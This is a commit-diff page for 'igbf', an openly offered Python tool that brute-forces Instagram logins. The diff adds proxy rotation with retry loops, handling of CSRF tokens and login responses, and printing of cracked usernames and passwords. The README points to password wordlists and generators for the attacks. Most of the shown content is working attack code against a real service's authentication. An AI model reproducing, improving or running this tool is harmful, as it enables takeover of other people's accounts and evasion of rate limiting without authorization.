7 Commits
Author SHA1 Message Date
S41R4J 360398032a Update igbf.py 2023-06-22 22:58:59 +05:30
S41R4J 7f84b3054f Update README.md 2023-06-22 22:11:04 +05:30
S41R4J 3875b0ecf4 Update README.md 2023-06-17 15:50:07 +05:30
S41R4J d8e7f8d643 Update README.md 2023-06-17 15:48:05 +05:30
S41R4J 711d24dced Update README.md 2023-06-17 15:47:34 +05:30
S41R4J bd04b74d72 Update README.md 2023-06-17 15:42:43 +05:30
S41R4J 77c9a93c51 Update igbf.py 2023-06-17 15:20:52 +05:30
2 changed files with 56 additions and 28 deletions

No files matched your search

+14 -5
View File
@@ -50,6 +50,11 @@ cd igbf
<br> <br>
- ___Update___
- Goto the `igbf` directory and type `git pull` to update to latest version or download latest from [releases](https://github.com/s41r4j/igbf/releases)
<br>
- ___Help Menu___ - ___Help Menu___
```bash ```bash
@@ -93,11 +98,15 @@ python3 igbf.py -u USERNAME -w /PATH/TO/PASSWORD/WORDLIST -v
Those who are using linux/hacking machines (like kali/parrot os, which has pre-installed stuff), can find password wordlist at `/usr/share/wordlists/` (mostly `rockyou.txt`, if it is `rockyou.txt.gz` - unzip with `tar -xvzf rockyou.txt.gz`) Those who are using linux/hacking machines (like kali/parrot os, which has pre-installed stuff), can find password wordlist at `/usr/share/wordlists/` (mostly `rockyou.txt`, if it is `rockyou.txt.gz` - unzip with `tar -xvzf rockyou.txt.gz`)
Download links for password wordlists: - Download links for password wordlists (more @ [Kaggle](https://www.kaggle.com/search?q=Common+Password+List) & [Github](https://github.com/search?q=passwords%20wordlists&type=repositories)):
- [praetorian-inc/Hob0Rules/__wordlists__](https://github.com/praetorian-inc/Hob0Rules/tree/master/wordlist) - [praetorian-inc/Hob0Rules/__wordlists__](https://github.com/praetorian-inc/Hob0Rules/tree/master/wordlist)
- [danielmiessler/__SecLists__/Passwords/Common-Creden](https://github.com/danielmiessler/SecLists/tree/master/Passwords/Common-Credentials) - [danielmiessler/__SecLists__/Passwords/Common-Credentials](https://github.com/danielmiessler/SecLists/tree/master/Passwords/Common-Credentials)
- Generate custom wordlist ([article](https://null-byte.wonderhowto.com/how-to/create-custom-wordlists-for-password-cracking-using-mentalist-0183992/)):
- [Common User Passwords Profiler (CUPP)](https://github.com/Mebus/cupp)
- [Mentalist (graphical tool)](https://github.com/sc0tfree/mentalist)
Find more @[Kaggle](https://www.kaggle.com/search?q=Common+Password+List) & @[Github](https://github.com/search?q=passwords%20wordlists&type=repositories)
<br> <br>
@@ -109,7 +118,7 @@ Find more @[Kaggle](https://www.kaggle.com/search?q=Common+Password+List) & @[Gi
- Supports: Windows, Mac, Unix/Linux (Termux) - Supports: Windows, Mac, Unix/Linux (Termux)
- If you have any quries/issues/errors, open an issue [here](https://github.com/s41r4j/igbf/issues) - If you have any quries/issues/errors, open an issue [here](https://github.com/s41r4j/igbf/issues)
- I'm open to all contributions, clone and do a pull request - All contributions are welcomed, do a pull request
+42 -23
View File
@@ -4,7 +4,7 @@
# # # #
# [igbf] : Instagram Brute Forcer # # [igbf] : Instagram Brute Forcer #
# [desc] : python3 script to perform instagram login brute force # # [desc] : python3 script to perform instagram login brute force #
# [version] : 1.4 # # [version] : 1.5 #
# [dev] : @s41r4j # # [dev] : @s41r4j #
# [github] : https://github.com/s41r4j/igbf # # [github] : https://github.com/s41r4j/igbf #
# # # #
@@ -329,7 +329,7 @@ def main():
printit("▒ ░░ ░ ░ ░ ░ ░ ░ ░▒ ", center=' ', coledt=[1, 49, 91]) printit("▒ ░░ ░ ░ ░ ░ ░ ░ ░▒ ", center=' ', coledt=[1, 49, 91])
printit("░ ░ ░ ", center=' ', coledt=[1, 49, 91]) printit("░ ░ ░ ", center=' ', coledt=[1, 49, 91])
printit(" ░ ░ ", center=' ', coledt=[1, 49, 91]) printit(" ░ ░ ", center=' ', coledt=[1, 49, 91])
printit('[ Instagram Brute Forcer (igbf:v1.4) ]', center=' ', coledt=[7, 49, 97], line_down=True) printit('[ Instagram Brute Forcer (igbf) ]', center=' ', coledt=[7, 49, 97], line_down=True)
# Checking if the arguments have been passed # Checking if the arguments have been passed
if username is None or wordlist is None: if username is None or wordlist is None:
@@ -422,19 +422,24 @@ def main():
"x-csrftoken": csrf_token, "x-csrftoken": csrf_token,
} }
# Checking if proxy is enabled (if, then use proxy) while True:
if proxy: # Checking if proxy is enabled (if, then use proxy)
# get random proxy from proxy list if proxy:
random_proxy = random.choice(list(proxies)) # get random proxy from proxy list
single_proxy = { random_proxy = random.choice(list(proxies))
'http': random_proxy, single_proxy = {
'https': random_proxy 'http': random_proxy,
} 'https': random_proxy
else: }
single_proxy = None else:
single_proxy = None
# Sending the request # Sending the request
login_response = requests.post(login_url, data=payload, headers=login_header, proxies=single_proxy) try:
login_response = requests.post(login_url, data=payload, headers=login_header, proxies=single_proxy)
break
except requests.exceptions.ConnectionError:
continue
# proxy check if working # proxy check if working
if proxy: if proxy:
@@ -454,13 +459,23 @@ def main():
sys.exit() sys.exit()
# login_response -> json format # login_response -> json format
json_data = json.loads(login_response.text) try:
json_data = json.loads(login_response.text)
except json.decoder.JSONDecodeError:
pass
# Checking if the username is exists # Checking if the username is exists
try: try:
if json_data["user"] == False: if json_data["user"] == False:
printit(password, coledt=[7, 49, 97], normaltxt_start="\n[#] Login successful (pwd)> ") if verbose:
sys.exit() printit("\n[#] Login successful: ", coledt=[7, 49, 92])
printit(username, coledt=[7, 49, 97], normaltxt_start="[+] Username: ")
printit(password, coledt=[7, 49, 97], normaltxt_start="[+] Password: ")
printit2(str(user_agent), coledt=[1, 49, 96], normaltxt_start="\n[+] User-agent: ")
printit2(str(csrf_token), coledt=[1, 49, 96], normaltxt_start="\n[+] CSRF token: ")
else:
printit(password, coledt=[7, 49, 97], normaltxt_start="\n[#] Login successful (pwd)> ", line_down=True)
break
except SystemExit: except SystemExit:
sys.exit() sys.exit()
except: except:
@@ -477,13 +492,20 @@ def main():
printit2(str(csrf_token), coledt=[1, 49, 96], normaltxt_start="\n[+] CSRF token: ") printit2(str(csrf_token), coledt=[1, 49, 96], normaltxt_start="\n[+] CSRF token: ")
printit2(str("https://www.instagram.com"+json_data["checkpoint_url"]), coledt=[1, 49, 96], normaltxt_start="\n[+] Checkpoint (*req) URL: ") printit2(str("https://www.instagram.com"+json_data["checkpoint_url"]), coledt=[1, 49, 96], normaltxt_start="\n[+] Checkpoint (*req) URL: ")
else: else:
printit(password, coledt=[7, 49, 97], normaltxt_start="\n[#] Login successful (pwd)> ") printit(password, coledt=[7, 49, 97], normaltxt_start="\n[#] Login successful (pwd)> ", line_down=True)
break break
except KeyError: except KeyError:
try: try:
if json_data["authenticated"] == True: if json_data["authenticated"] == True:
printit(password, coledt=[7, 49, 97], normaltxt_start="\n[#] Login successful (pwd)> ") if verbose:
sys.exit() printit("\n[#] Login successful: ", coledt=[7, 49, 92])
printit(username, coledt=[7, 49, 97], normaltxt_start="[+] Username: ")
printit(password, coledt=[7, 49, 97], normaltxt_start="[+] Password: ")
printit2(str(user_agent), coledt=[1, 49, 96], normaltxt_start="\n[+] User-agent: ")
printit2(str(csrf_token), coledt=[1, 49, 96], normaltxt_start="\n[+] CSRF token: ")
else:
printit(password, coledt=[7, 49, 97], normaltxt_start="\n[#] Login successful (pwd)> ", line_down=True)
break
else: else:
print_login_failed(password, verbose, proxy, single_proxy, login_response.status_code) print_login_failed(password, verbose, proxy, single_proxy, login_response.status_code)
except SystemExit: except SystemExit:
@@ -512,6 +534,3 @@ if __name__ == '__main__':
except KeyboardInterrupt: except KeyboardInterrupt:
printit('\n\n[:)] Exiting the program...', coledt=[1, 49, 92], line_down=True) printit('\n\n[:)] Exiting the program...', coledt=[1, 49, 92], line_down=True)
sys.exit() sys.exit()
except requests.exceptions.ConnectionError:
printit("\n[!] Internet connection is required!\n[;)] Exiting the program...", coledt=[1, 49, 91], line_down=True)
sys.exit()